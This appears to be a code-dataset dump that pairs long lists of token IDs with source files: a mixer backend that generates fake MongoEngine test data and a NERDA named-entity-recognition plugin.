29883,
6119,
29914,
29911,
1092,
497,
13,
29937,
14137,
29901,
23616,
29899,
29947,
13,
29937,
17422,
446,
29947,
29901,
694,
25621,
13,
13,
3166,
1468,
497,
29889,
1251,
12117,
1053,
903,
2697,
4592,
29892,
903,
2697,
4592,
3047,
9629,
29892,
3789,
29928,
13,
13,
13,
1990,
4321,
2697,
4592,
29898,
3318,
1125,
13,
1678,
732,
29918,
2697,
4592,
13,
1678,
822,
11187,
29898,
1311,
29892,
3579,
19290,
1125,
13,
4706,
736,
9049,
5085,
13,
13,
1678,
732,
29918,
2697,
4592,
13,
1678,
822,
11187,
29906,
29898,
1311,
29892,
263,
29922,
29896,
29892,
289,
29922,
29906,
1125,
13,
4706,
736,
263,
29892,
289,
13,
13,
1678,
822,
1243,
29918,
842,
29918,
554,
29898,
1311,
1125,
13,
4706,
1583,
29889,
17640,
29889,
842,
29918,
4381,
29898,
29874,
29922,
29896,
29892,
289,
29922,
29906,
29897,
13,
13,
4706,
364,
353,
1583,
29889,
17640,
29898,
29883,
29922,
29941,
29897,
13,
13,
4706,
4974,
364,
1839,
29874,
2033,
1275,
29871,
29896,
13,
4706,
4974,
364,
1839,
29890,
2033,
1275,
29871,
29906,
13,
4706,
4974,
364,
1839,
29883,
2033,
1275,
29871,
29941,
13,
13,
1678,
822,
1243,
29918,
842,
29918,
4381,
29918,
554,
29898,
1311,
1125,
13,
4706,
1583,
29889,
17640,
29889,
842,
29918,
4381,
29898,
29874,
29922,
29896,
29892,
289,
29922,
29941,
29897,
13,
13,
4706,
364,
353,
1583,
29889,
17640,
29898,
29874,
29922,
29941,
29897,
13,
13,
4706,
4974,
364,
1839,
29874,
2033,
1275,
29871,
29941,
13,
4706,
4974,
364,
1839,
29890,
2033,
1275,
29871,
29941,
13,
13,
1678,
822,
1243,
29918,
13757,
29918,
554,
29898,
1311,
1125,
13,
4706,
1583,
29889,
17640,
29889,
842,
29918,
4381,
29898,
29874,
29922,
29896,
29897,
13,
13,
4706,
364,
353,
1583,
29889,
17640,
29898,
29874,
29922,
29941,
29897,
13,
13,
4706,
4974,
364,
1839,
29874,
2033,
1275,
29871,
29941,
13,
4706,
4974,
364,
29889,
657,
877,
29890,
1495,
1275,
29871,
29941,
13,
13,
1678,
822,
1243,
29918,
19290,
29918,
15752,
29918,
554,
29898,
1311,
1125,
13,
4706,
1583,
29889,
17640,
29906,
29889,
842,
29918,
4381,
29898,
29874,
29922,
29941,
29897,
13,
13,
4706,
364,
353,
1583,
29889,
17640,
29906,
29898,
29890,
29922,
29906,
29897,
13,
4706,
4974,
364,
1275,
313,
29941,
29892,
29871,
29906,
29897,
13,
13,
13,
1753,
1243,
29918,
449,
2975,
29918,
554,
7295,
13,
1678,
732,
29918,
2697,
4592,
13,
1678,
822,
11187,
29898,
29874,
29922,
29896,
29892,
289,
29922,
29906,
1125,
13,
4706,
736,
263,
29892,
289,
13,
13,
1678,
11187,
29889,
842,
29918,
4381,
29898,
29874,
29922,
29941,
29897,
13,
13,
1678,
364,
353,
11187,
29898,
29874,
29922,
29906,
29892,
289,
29922,
29906,
29897,
13,
1678,
4974,
364,
1275,
313,
29906,
29892,
29871,
29906,
29897,
13,
13,
13,
1990,
4321,
2697,
4592,
3047,
9629,
29898,
3318,
1125,
13,
1678,
732,
29918,
2697,
4592,
3047,
9629,
29898,
29874,
29922,
29896,
29897,
13,
1678,
822,
11187,
29898,
1311,
29892,
3579,
19290,
1125,
13,
4706,
736,
9049,
5085,
13,
13,
1678,
822,
1243,
29918,
842,
29918,
554,
29898,
1311,
1125,
13,
4706,
364,
353,
1583,
29889,
17640,
29898,
29890,
29922,
29906,
29897,
13,
13,
4706,
4974,
364,
1839,
29874,
2033,
1275,
29871,
29896,
13,
4706,
4974,
364,
1839,
29890,
2033,
1275,
29871,
29906,
13,
13,
1678,
822,
1243,
29918,
842,
29918,
4381,
29918,
554,
29898,
1311,
1125,
13,
4706,
364,
353,
1583,
29889,
17640,
29898,
29874,
29922,
29906,
29892,
289,
29922,
29906,
29897,
13,
13,
4706,
4974,
364,
1839,
29874,
2033,
1275,
29871,
29906,
13,
4706,
4974,
364,
1839,
29890,
2033,
1275,
29871,
29906,
13,
13,
1678,
822,
1243,
29918,
21150,
29898,
1311,
1125,
13,
4706,
364,
353,
1583,
29889,
17640,
580,
13,
13,
4706,
4974,
364,
1839,
29874,
2033,
1275,
29871,
29896,
13,
4706,
4974,
364,
29889,
657,
877,
29890,
1495,
338,
6213,
13,
13,
13,
1990,
4321,
2697,
29928,
29898,
3318,
1125,
13,
1678,
822,
1243,
29918,
1217,
29918,
7529,
29898,
1311,
29892,
286,
8658,
1125,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
29892,
525,
1649,
2344,
1649,
1495,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
29892,
525,
1649,
4804,
1649,
1495,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
3047,
9629,
29892,
525,
1649,
2344,
1649,
1495,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
3047,
9629,
29892,
525,
1649,
4804,
1649,
1495,
13,
13,
4706,
732,
2697,
29928,
13,
4706,
822,
11187,
29898,
1068,
19290,
1125,
1209,
13,
13,
4706,
11187,
29898,
29874,
29922,
29896,
29897,
13,
13,
4706,
4974,
903,
2697,
4592,
17255,
2344,
26914,
4804,
29918,
2798,
1275,
29871,
29896,
13,
4706,
4974,
903,
2697,
4592,
17255,
4804,
26914,
4804,
29918,
2798,
1275,
29871,
29896,
13,
4706,
4974,
903,
2697,
4592,
3047,
9629,
17255,
2344,
26914,
4804,
29918,
2798,
1275,
29871,
29900,
13,
4706,
4974,
903,
2697,
4592,
3047,
9629,
17255,
4804,
26914,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
1678,
822,
1243,
29918,
29893,
386,
29918,
7529,
29898,
1311,
29892,
286,
8658,
1125,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
29892,
525,
1649,
2344,
1649,
1495,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
29892,
525,
1649,
4804,
1649,
1495,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
3047,
9629,
29892,
525,
1649,
2344,
1649,
1495,
13,
4706,
286,
8658,
29889,
1028,
29891,
7373,
2697,
4592,
3047,
9629,
29892,
525,
1649,
4804,
1649,
1495,
13,
13,
4706,
732,
2697,
29928,
29898,
29874,
29922,
29896,
29897,
13,
4706,
822,
11187,
29898,
1068,
19290,
1125,
1209,
13,
13,
4706,
11187,
29898,
29874,
29922,
29906,
29897,
13,
13,
4706,
4974,
903,
2697,
4592,
17255,
2344,
26914,
4804,
29918,
2798,
1275,
29871,
29900,
13,
4706,
4974,
903,
2697,
4592,
17255,
4804,
26914,
4804,
29918,
2798,
1275,
29871,
29900,
13,
4706,
4974,
903,
2697,
4592,
3047,
9629,
17255,
2344,
26914,
4804,
29918,
2798,
1275,
29871,
29896,
13,
4706,
4974,
903,
2697,
4592,
3047,
9629,
17255,
4804,
26914,
4804,
29918,
2798,
1275,
29871,
29896,
13,
2
] |
mixer/backend/mongoengine.py | mattcaldwell/mixer | 1 | 113663 | """ Support for Mongoengine ODM.
.. note:: Support for Mongoengine_ is in early development.
::
from mixer.backend.mongoengine import mixer
class User(Document):
created_at = DateTimeField(default=datetime.datetime.now)
email = EmailField(required=True)
first_name = StringField(max_length=50)
last_name = StringField(max_length=50)
class Post(Document):
title = StringField(max_length=120, required=True)
author = ReferenceField(User)
tags = ListField(StringField(max_length=30))
post = mixer.blend(Post, author__username='foo')
"""
from __future__ import absolute_import
import datetime
import decimal
from bson import ObjectId
from mongoengine import (
BooleanField,
DateTimeField,
DecimalField,
Document,
EmailField,
EmbeddedDocumentField,
FloatField,
GenericReferenceField,
GeoPointField,
IntField,
LineStringField,
ListField,
ObjectIdField,
PointField,
PolygonField,
ReferenceField,
StringField,
URLField,
UUIDField,
)
from .. import mix_types as t, generators as g, fakers as f
from ..main import (
Field, Relation, NO_VALUE,
TypeMixer as BaseTypeMixer,
GenFactory as BaseFactory,
Mixer as BaseMixer,
)
def get_objectid(**kwargs):
""" Create a new ObjectId instance.
:return ObjectId:
"""
return ObjectId()
def get_pointfield(**kwargs):
""" Get a Point structure.
:return dict:
"""
return dict(type='Point', coordinates=f.get_coordinates())
def get_linestring(length=5, **kwargs):
""" Get a LineString structure.
:return dict:
"""
return dict(
type='LineString',
coordinates=[f.get_coordinates() for _ in range(length)])
def get_polygon(length=5, **kwargs):
""" Get a Poligon structure.
:return dict:
"""
lines = []
for _ in range(length):
line = get_linestring()['coordinates']
if lines:
line.insert(0, lines[-1][-1])
lines.append(line)
if lines:
lines[0].insert(0, lines[-1][-1])
return dict(type='Poligon', coordinates=lines)
class GenFactory(BaseFactory):
""" Map a mongoengine classes to simple types. """
types = {
BooleanField: bool,
DateTimeField: datetime.datetime,
DecimalField: decimal.Decimal,
EmailField: t.EmailString,
FloatField: float,
IntField: int,
StringField: str,
URLField: t.URL,
UUIDField: t.UUID,
}
generators = {
ObjectIdField: g.loop(get_objectid),
LineStringField: g.loop(get_linestring),
GeoPointField: g.loop(f.get_coordinates),
PointField: g.loop(get_pointfield),
PolygonField: g.loop(get_polygon),
}
class TypeMixer(BaseTypeMixer):
""" TypeMixer for Mongoengine. """
factory = GenFactory
def make_generator(self, field, field_name=None, fake=None):
""" Make values generator for field.
:param field: Mongoengine field's instance
:param field_name: Field name
:param fake: Force fake data
:return generator:
"""
ftype = type(field)
stype = self.factory.cls_to_simple(ftype)
kwargs = dict()
if field.choices:
choices, _ = list(zip(*field.choices))
return g.gen_choice(choices)
if stype is str:
kwargs['length'] = field.max_length
elif ftype is ListField:
gen = self.make_generator(field.field)
return g.loop(lambda: [next(gen) for _ in range(3)])()
elif ftype is EmbeddedDocumentField:
return g.loop(TypeMixer(field.document_type).blend)()
elif ftype is DecimalField:
sign, (ii,), dd = field.precision.as_tuple()
kwargs['d'] = abs(dd)
kwargs['positive'] = not sign
kwargs['i'] = ii + 1
return self.factory.gen_maker(stype, field_name, fake)(**kwargs)
@staticmethod
def get_default(field, target):
""" Get default value from field.
:return value: A default value or NO_VALUE
"""
if not field.scheme.default:
return NO_VALUE
if callable(field.scheme.default):
return field.scheme.default()
return field.scheme.default
@staticmethod
def is_unique(field):
""" Return True is field's value should be a unique.
:return bool:
"""
return field.scheme.unique
@staticmethod
def is_required(field):
""" Return True is field's value should be defined.
:return bool:
"""
return field.scheme.required or isinstance(field.scheme, ObjectIdField)
def gen_relation(self, target, field_name, relation, force=False):
""" Generate a related relation by `relation`.
:param target: Target for generate value.
:param field_name: Name of relation for generation.
:param relation: Instance of :class:`Relation`
:return None:
"""
if isinstance(relation.scheme, GenericReferenceField):
meta = type(self.__class__)
new_scheme = g.get_choice([
m for (_, m, _, _) in meta.mixers.keys()
if issubclass(m, Document) and not m is self.__scheme
])
else:
new_scheme = relation.scheme.document_type
if new_scheme != self.__scheme:
value = self.__mixer and self.__mixer.blend(
new_scheme, **relation.params
) or TypeMixer(
new_scheme, factory=self.__factory, fake=self.fake
).blend(**relation.params)
return self.set_value(target, field_name, value)
def __load_fields(self):
for fname, field in self.__scheme._fields.items():
if isinstance(field, (ReferenceField, GenericReferenceField)):
yield fname, Relation(field, fname)
continue
yield fname, Field(field, fname)
class Mixer(BaseMixer):
""" Mixer class for mongoengine.
Default mixer (desnt save a generated instances to db)
::
from mixer.backend.mongoengine import mixer
user = mixer.blend(User)
You can initialize the Mixer by manual:
::
from mixer.backend.mongoengine import Mixer
mixer = Mixer(commit=True)
user = mixer.blend(User)
"""
type_mixer_cls = TypeMixer
def __init__(self, commit=False, **params):
""" Initialize the Mongoengine Mixer.
:param fake: (True) Generate fake data instead of random data.
:param commit: (False) Save object to Mongo DB.
"""
super(Mixer, self).__init__(**params)
self.commit = commit
def post_generate(self, result):
""" Save instance to DB.
:return instance:
"""
if self.commit and isinstance(result, Document):
result.save()
return result
mixer = Mixer()
# lint_ignore=W0212
| [
1,
9995,
18601,
363,
18294,
10599,
438,
23560,
29889,
13,
13,
636,
4443,
1057,
18601,
363,
18294,
10599,
29918,
338,
297,
4688,
5849,
29889,
13,
13,
1057,
13,
13,
1678,
515,
6837,
261,
29889,
27852,
29889,
29885,
7443,
10599,
1053,
6837,
261,
13,
13,
1678,
770,
4911,
29898,
6268,
1125,
13,
4706,
2825,
29918,
271,
353,
12315,
3073,
29898,
4381,
29922,
12673,
29889,
12673,
29889,
3707,
29897,
13,
4706,
4876,
353,
22608,
3073,
29898,
12403,
29922,
5574,
29897,
13,
4706,
937,
29918,
978,
353,
1714,
3073,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29897,
13,
4706,
1833,
29918,
978,
353,
1714,
3073,
29898,
3317,
29918,
2848,
29922,
29945,
29900,
29897,
13,
13,
1678,
770,
4918,
29898,
6268,
1125,
13,
4706,
3611,
353,
1714,
3073,
29898,
3317,
29918,
2848,
29922,
29896,
29906,
29900,
29892,
3734,
29922,
5574,
29897,
13,
4706,
4148,
353,
12105,
3073,
29898,
2659,
29897,
13,
4706,
8282,
353,
2391,
3073,
29898,
1231,
3073,
29898,
3317,
29918,
2848,
29922,
29941,
29900,
876,
13,
13,
1678,
1400,
353,
6837,
261,
29889,
2204,
355,
29898,
6747,
29892,
4148,
1649,
6786,
2433,
5431,
1495,
13,
13,
15945,
29908,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
13,
5215,
12865,
13,
5215,
13677,
13,
13,
3166,
289,
1100,
1053,
4669,
1204,
13,
3166,
19476,
10599,
1053,
313,
13,
1678,
11185,
3073,
29892,
13,
1678,
12315,
3073,
29892,
13,
1678,
3826,
3039,
3073,
29892,
13,
1678,
10854,
29892,
13,
1678,
22608,
3073,
29892,
13,
1678,
2812,
2580,
7176,
6268,
3073,
29892,
13,
1678,
27842,
3073,
29892,
13,
1678,
3251,
293,
7422,
3073,
29892,
13,
1678,
1879,
29877,
5228,
3073,
29892,
13,
1678,
3159,
3073,
29892,
13,
1678,
7407,
1231,
3073,
29892,
13,
1678,
2391,
3073,
29892,
13,
1678,
4669,
1204,
3073,
29892,
13,
1678,
8984,
3073,
29892,
13,
1678,
2043,
17125,
3073,
29892,
13,
1678,
12105,
3073,
29892,
13,
1678,
1714,
3073,
29892,
13,
1678,
3988,
3073,
29892,
13,
1678,
501,
11150,
3073,
29892,
13,
29897,
13,
13,
3166,
6317,
1053,
6837,
29918,
8768,
408,
260,
29892,
1176,
4097,
408,
330,
29892,
285,
21079,
408,
285,
13,
3166,
6317,
3396,
1053,
313,
13,
1678,
8989,
29892,
6376,
362,
29892,
11698,
29918,
19143,
29892,
13,
1678,
5167,
29924,
861,
261,
408,
7399,
1542,
29924,
861,
261,
29892,
13,
1678,
5739,
5126,
408,
7399,
5126,
29892,
13,
1678,
23478,
261,
408,
7399,
29924,
861,
261,
29892,
13,
29897,
13,
13,
13,
1753,
679,
29918,
3318,
333,
29898,
1068,
19290,
1125,
13,
1678,
9995,
6204,
263,
716,
4669,
1204,
2777,
29889,
13,
13,
1678,
584,
2457,
4669,
1204,
29901,
13,
13,
1678,
9995,
13,
1678,
736,
4669,
1204,
580,
13,
13,
13,
1753,
679,
29918,
3149,
2671,
29898,
1068,
19290,
1125,
13,
1678,
9995,
3617,
263,
8984,
3829,
29889,
13,
13,
1678,
584,
2457,
9657,
29901,
13,
13,
1678,
9995,
13,
1678,
736,
9657,
29898,
1853,
2433,
5228,
742,
10350,
29922,
29888,
29889,
657,
29918,
1111,
24266,
3101,
13,
13,
13,
1753,
679,
29918,
1915,
342,
5393,
29898,
2848,
29922,
29945,
29892,
3579,
19290,
1125,
13,
1678,
9995,
3617,
263,
7407,
1231,
3829,
29889,
13,
13,
1678,
584,
2457,
9657,
29901,
13,
13,
1678,
9995,
13,
1678,
736,
9657,
29898,
13,
4706,
1134,
2433,
3542,
1231,
742,
13,
4706,
10350,
11759,
29888,
29889,
657,
29918,
1111,
24266,
580,
363,
903,
297,
3464,
29898,
2848,
29897,
2314,
13,
13,
13,
1753,
679,
29918,
3733,
17125,
29898,
2848,
29922,
29945,
29892,
3579,
19290,
1125,
13,
1678,
9995,
3617,
263,
2043,
335,
265,
3829,
29889,
13,
13,
1678,
584,
2457,
9657,
29901,
13,
13,
1678,
9995,
13,
1678,
3454,
353,
5159,
13,
1678,
363,
903,
297,
3464,
29898,
2848,
1125,
13,
4706,
1196,
353,
679,
29918,
1915,
342,
5393,
580,
1839,
1111,
24266,
2033,
13,
4706,
565,
3454,
29901,
13,
9651,
1196,
29889,
7851,
29898,
29900,
29892,
3454,
14352,
29896,
3816,
29899,
29896,
2314,
13,
13,
4706,
3454,
29889,
4397,
29898,
1220,
29897,
13,
13,
1678,
565,
3454,
29901,
13,
4706,
3454,
29961,
29900,
1822,
7851,
29898,
29900,
29892,
3454,
14352,
29896,
3816,
29899,
29896,
2314,
13,
13,
1678,
736,
9657,
29898,
1853,
2433,
7713,
335,
265,
742,
10350,
29922,
9012,
29897,
13,
13,
13,
1990,
5739,
5126,
29898,
5160,
5126,
1125,
13,
13,
1678,
9995,
7315,
263,
19476,
10599,
4413,
304,
2560,
4072,
29889,
9995,
13,
13,
1678,
4072,
353,
426,
13,
4706,
11185,
3073,
29901,
6120,
29892,
13,
4706,
12315,
3073,
29901,
12865,
29889,
12673,
29892,
13,
4706,
3826,
3039,
3073,
29901,
13677,
29889,
23307,
29892,
13,
4706,
22608,
3073,
29901,
260,
29889,
9823,
1231,
29892,
13,
4706,
27842,
3073,
29901,
5785,
29892,
13,
4706,
3159,
3073,
29901,
938,
29892,
13,
4706,
1714,
3073,
29901,
851,
29892,
13,
4706,
3988,
3073,
29901,
260,
29889,
4219,
29892,
13,
4706,
501,
11150,
3073,
29901,
260,
29889,
29965,
11150,
29892,
13,
1678,
500,
13,
13,
1678,
1176,
4097,
353,
426,
13,
4706,
4669,
1204,
3073,
29901,
330,
29889,
7888,
29898,
657,
29918,
3318,
333,
511,
13,
4706,
7407,
1231,
3073,
29901,
330,
29889,
7888,
29898,
657,
29918,
1915,
342,
5393,
511,
13,
4706,
1879,
29877,
5228,
3073,
29901,
330,
29889,
7888,
29898,
29888,
29889,
657,
29918,
1111,
24266,
511,
13,
4706,
8984,
3073,
29901,
330,
29889,
7888,
29898,
657,
29918,
3149,
2671,
511,
13,
4706,
2043,
17125,
3073,
29901,
330,
29889,
7888,
29898,
657,
29918,
3733,
17125,
511,
13,
1678,
500,
13,
13,
13,
1990,
5167,
29924,
861,
261,
29898,
5160,
1542,
29924,
861,
261,
1125,
13,
13,
1678,
9995,
5167,
29924,
861,
261,
363,
18294,
10599,
29889,
9995,
13,
13,
1678,
12529,
353,
5739,
5126,
13,
13,
1678,
822,
1207,
29918,
27959,
29898,
1311,
29892,
1746,
29892,
1746,
29918,
978,
29922,
8516,
29892,
25713,
29922,
8516,
1125,
13,
4706,
9995,
8561,
1819,
15299,
363,
1746,
29889,
13,
13,
4706,
584,
3207,
1746,
29901,
18294,
10599,
1746,
29915,
29879,
2777,
13,
4706,
584,
3207,
1746,
29918,
978,
29901,
8989,
1024,
13,
4706,
584,
3207,
25713,
29901,
11004,
25713,
848,
13,
13,
4706,
584,
2457,
15299,
29901,
13,
13,
4706,
9995,
13,
4706,
285,
1853,
353,
1134,
29898,
2671,
29897,
13,
4706,
380,
668,
353,
1583,
29889,
14399,
29889,
25932,
29918,
517,
29918,
12857,
29898,
615,
668,
29897,
13,
4706,
9049,
5085,
353,
9657,
580,
13,
13,
4706,
565,
1746,
29889,
1859,
1575,
29901,
13,
9651,
19995,
29892,
903,
353,
1051,
29898,
7554,
10456,
2671,
29889,
1859,
1575,
876,
13,
9651,
736,
330,
29889,
1885,
29918,
16957,
29898,
1859,
1575,
29897,
13,
13,
4706,
565,
380,
668,
338,
851,
29901,
13,
9651,
9049,
5085,
1839,
2848,
2033,
353,
1746,
29889,
3317,
29918,
2848,
13,
13,
4706,
25342,
285,
1853,
338,
2391,
3073,
29901,
13,
9651,
2531,
353,
1583,
29889,
5675,
29918,
27959,
29898,
2671,
29889,
2671,
29897,
13,
9651,
736,
330,
29889,
7888,
29898,
2892,
29901,
518,
4622,
29898,
1885,
29897,
363,
903,
297,
3464,
29898,
29941,
29897,
2314,
580,
13,
13,
4706,
25342,
285,
1853,
338,
2812,
2580,
7176,
6268,
3073,
29901,
13,
9651,
736,
330,
29889,
7888,
29898,
1542,
29924,
861,
261,
29898,
2671,
29889,
3225,
29918,
1853,
467,
2204,
355,
29897,
580,
13,
13,
4706,
25342,
285,
1853,
338,
3826,
3039,
3073,
29901,
13,
9651,
1804,
29892,
313,
2236,
29892,
511,
24488,
353,
1746,
29889,
17990,
2459,
29889,
294,
29918,
23583,
580,
13,
9651,
9049,
5085,
1839,
29881,
2033,
353,
6425,
29898,
1289,
29897,
13,
9651,
9049,
5085,
1839,
1066,
3321,
2033,
353,
451,
1804,
13,
9651,
9049,
5085,
1839,
29875,
2033,
353,
13607,
718,
29871,
29896,
13,
13,
4706,
736,
1583,
29889,
14399,
29889,
1885,
29918,
28107,
29898,
303,
668,
29892,
1746,
29918,
978,
29892,
25713,
5033,
1068,
19290,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
679,
29918,
4381,
29898,
2671,
29892,
3646,
1125,
13,
4706,
9995,
3617,
2322,
995,
515,
1746,
29889,
13,
13,
4706,
584,
2457,
995,
29901,
319,
2322,
995,
470,
11698,
29918,
19143,
13,
13,
4706,
9995,
13,
4706,
565,
451,
1746,
29889,
816,
2004,
29889,
4381,
29901,
13,
9651,
736,
11698,
29918,
19143,
13,
13,
4706,
565,
1246,
519,
29898,
2671,
29889,
816,
2004,
29889,
4381,
1125,
13,
9651,
736,
1746,
29889,
816,
2004,
29889,
4381,
580,
13,
13,
4706,
736,
1746,
29889,
816,
2004,
29889,
4381,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
338,
29918,
13092,
29898,
2671,
1125,
13,
4706,
9995,
7106,
5852,
338,
1746,
29915,
29879,
995,
881,
367,
263,
5412,
29889,
13,
13,
4706,
584,
2457,
6120,
29901,
13,
13,
4706,
9995,
13,
4706,
736,
1746,
29889,
816,
2004,
29889,
13092,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
338,
29918,
12403,
29898,
2671,
1125,
13,
4706,
9995,
7106,
5852,
338,
1746,
29915,
29879,
995,
881,
367,
3342,
29889,
13,
13,
4706,
584,
2457,
6120,
29901,
13,
13,
4706,
9995,
13,
4706,
736,
1746,
29889,
816,
2004,
29889,
12403,
470,
338,
8758,
29898,
2671,
29889,
816,
2004,
29892,
4669,
1204,
3073,
29897,
13,
13,
1678,
822,
2531,
29918,
23445,
29898,
1311,
29892,
3646,
29892,
1746,
29918,
978,
29892,
8220,
29892,
4889,
29922,
8824,
1125,
13,
4706,
9995,
3251,
403,
263,
4475,
8220,
491,
421,
23445,
1412,
13,
13,
4706,
584,
3207,
3646,
29901,
17157,
363,
5706,
995,
29889,
13,
4706,
584,
3207,
1746,
29918,
978,
29901,
4408,
310,
8220,
363,
12623,
29889,
13,
4706,
584,
3207,
8220,
29901,
2799,
749,
310,
584,
1990,
18078,
9662,
362,
29952,
13,
13,
4706,
584,
2457,
6213,
29901,
13,
13,
4706,
9995,
13,
4706,
565,
338,
8758,
29898,
23445,
29889,
816,
2004,
29892,
3251,
293,
7422,
3073,
1125,
13,
9651,
12700,
353,
1134,
29898,
1311,
17255,
1990,
1649,
29897,
13,
9651,
716,
29918,
816,
2004,
353,
330,
29889,
657,
29918,
16957,
4197,
13,
18884,
286,
363,
313,
3383,
286,
29892,
17117,
24459,
297,
12700,
29889,
28084,
414,
29889,
8149,
580,
13,
18884,
565,
338,
1491,
1990,
29898,
29885,
29892,
10854,
29897,
322,
451,
286,
338,
1583,
17255,
816,
2004,
13,
632,
2314,
13,
4706,
1683,
29901,
13,
9651,
716,
29918,
816,
2004,
353,
8220,
29889,
816,
2004,
29889,
3225,
29918,
1853,
13,
13,
4706,
565,
716,
29918,
816,
2004,
2804,
1583,
17255,
816,
2004,
29901,
13,
9651,
995,
353,
1583,
17255,
28084,
261,
322,
1583,
17255,
28084,
261,
29889,
2204,
355,
29898,
13,
18884,
716,
29918,
816,
2004,
29892,
3579,
23445,
29889,
7529,
13,
9651,
1723,
470,
5167,
29924,
861,
261,
29898,
13,
18884,
716,
29918,
816,
2004,
29892,
12529,
29922,
1311,
17255,
14399,
29892,
25713,
29922,
1311,
29889,
29888,
1296,
13,
9651,
13742,
2204,
355,
29898,
1068,
23445,
29889,
7529,
29897,
13,
13,
4706,
736,
1583,
29889,
842,
29918,
1767,
29898,
5182,
29892,
1746,
29918,
978,
29892,
995,
29897,
13,
13,
1678,
822,
4770,
1359,
29918,
9621,
29898,
1311,
1125,
13,
4706,
363,
285,
978,
29892,
1746,
297,
1583,
17255,
816,
2004,
3032,
9621,
29889,
7076,
7295,
13,
13,
9651,
565,
338,
8758,
29898,
2671,
29892,
313,
7422,
3073,
29892,
3251,
293,
7422,
3073,
22164,
13,
18884,
7709,
285,
978,
29892,
6376,
362,
29898,
2671,
29892,
285,
978,
29897,
13,
18884,
6773,
13,
13,
9651,
7709,
285,
978,
29892,
8989,
29898,
2671,
29892,
285,
978,
29897,
13,
13,
13,
1990,
23478,
261,
29898,
5160,
29924,
861,
261,
1125,
13,
13,
1678,
9995,
23478,
261,
770,
363,
19476,
10599,
29889,
13,
13,
1678,
13109,
6837,
261,
313,
2783,
593,
4078,
263,
5759,
8871,
304,
4833,
29897,
13,
1678,
4761,
13,
13,
4706,
515,
6837,
261,
29889,
27852,
29889,
29885,
7443,
10599,
1053,
6837,
261,
13,
13,
4706,
1404,
353,
6837,
261,
29889,
2204,
355,
29898,
2659,
29897,
13,
13,
1678,
887,
508,
11905,
278,
23478,
261,
491,
12219,
29901,
13,
1678,
4761,
13,
4706,
515,
6837,
261,
29889,
27852,
29889,
29885,
7443,
10599,
1053,
23478,
261,
13,
13,
4706,
6837,
261,
353,
23478,
261,
29898,
15060,
29922,
5574,
29897,
13,
4706,
1404,
353,
6837,
261,
29889,
2204,
355,
29898,
2659,
29897,
13,
13,
1678,
9995,
13,
13,
1678,
1134,
29918,
28084,
261,
29918,
25932,
353,
5167,
29924,
861,
261,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9063,
29922,
8824,
29892,
3579,
7529,
1125,
13,
4706,
9995,
25455,
278,
18294,
10599,
23478,
261,
29889,
13,
13,
4706,
584,
3207,
25713,
29901,
313,
5574,
29897,
3251,
403,
25713,
848,
2012,
310,
4036,
848,
29889,
13,
4706,
584,
3207,
9063,
29901,
313,
8824,
29897,
16913,
1203,
304,
18294,
6535,
29889,
13,
13,
4706,
9995,
13,
4706,
2428,
29898,
29924,
861,
261,
29892,
1583,
467,
1649,
2344,
12035,
1068,
7529,
29897,
13,
4706,
1583,
29889,
15060,
353,
9063,
13,
13,
1678,
822,
1400,
29918,
17158,
29898,
1311,
29892,
1121,
1125,
13,
4706,
9995,
16913,
2777,
304,
6535,
29889,
13,
13,
4706,
584,
2457,
2777,
29901,
13,
13,
4706,
9995,
13,
13,
4706,
565,
1583,
29889,
15060,
322,
338,
8758,
29898,
2914,
29892,
10854,
1125,
13,
9651,
1121,
29889,
7620,
580,
13,
13,
4706,
736,
1121,
13,
13,
13,
28084,
261,
353,
23478,
261,
580,
13,
13,
13,
29937,
301,
524,
29918,
17281,
29922,
29956,
29900,
29906,
29896,
29906,
13,
2
] |
rbm/models/nlp/ner/nerda.py | RevolveAI/BenchmarkMyAI | 0 | 1604257 |
import NERDA as nerda
from NERDA.precooked import EN_ELECTRA_EN, EN_BERT_ML
import nltk
from nltk.tokenize import word_tokenize
import torch
from rbm.utils import plugins
from rbm.backends import TorchBackend
from rbm.backends.nlp import NER
@plugins.register
class NERDA(TorchBackend, NER):
variants = ['EN_ELECTRA_EN', 'EN_BERT_ML']
def __init__(self, model_name, device, batch_size=1):
TorchBackend.__init__(self, device=device)
NER.__init__(self, batch_size=batch_size)
self.model_name = model_name
self.__name__ = model_name
self._model = None
def __call__(self, *args, **kwargs):
model = eval(self.model_name)
model = model(device=self.device)
try:
model.load_network()
except (AssertionError, RuntimeError):
model.download_network()
model.load_network()
try:
nltk.data.find('tokenizers/punkt')
except LookupError:
nltk.download('punkt')
self._model = model
def preprocess(self, inputs):
tokenized = [word_tokenize(_text) for _text in inputs]
return tokenized
def predict(self, inputs):
return self._model.predict(inputs, batch_size=self.batch_size)
| [
1,
29871,
13,
13,
5215,
405,
1001,
7698,
408,
26033,
1388,
13,
3166,
405,
1001,
7698,
29889,
1457,
1111,
12504,
1053,
12524,
29918,
29923,
3281,
4717,
29918,
1430,
29892,
12524,
29918,
13635,
29911,
29918,
1988,
13,
5215,
302,
1896,
29895,
13,
3166,
302,
1896,
29895,
29889,
6979,
675,
1053,
1734,
29918,
6979,
675,
13,
5215,
4842,
305,
13,
3166,
364,
5838,
29889,
13239,
1053,
18224,
13,
3166,
364,
5838,
29889,
1627,
1975,
1053,
4794,
305,
5841,
355,
13,
3166,
364,
5838,
29889,
1627,
1975,
29889,
12938,
29886,
1053,
405,
1001,
13,
13,
29992,
12800,
29889,
9573,
13,
1990,
405,
1001,
7698,
29898,
29911,
25350,
5841,
355,
29892,
405,
1001,
1125,
13,
1678,
29161,
353,
6024,
1430,
29918,
29923,
3281,
4717,
29918,
1430,
742,
525,
1430,
29918,
13635,
29911,
29918,
1988,
2033,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
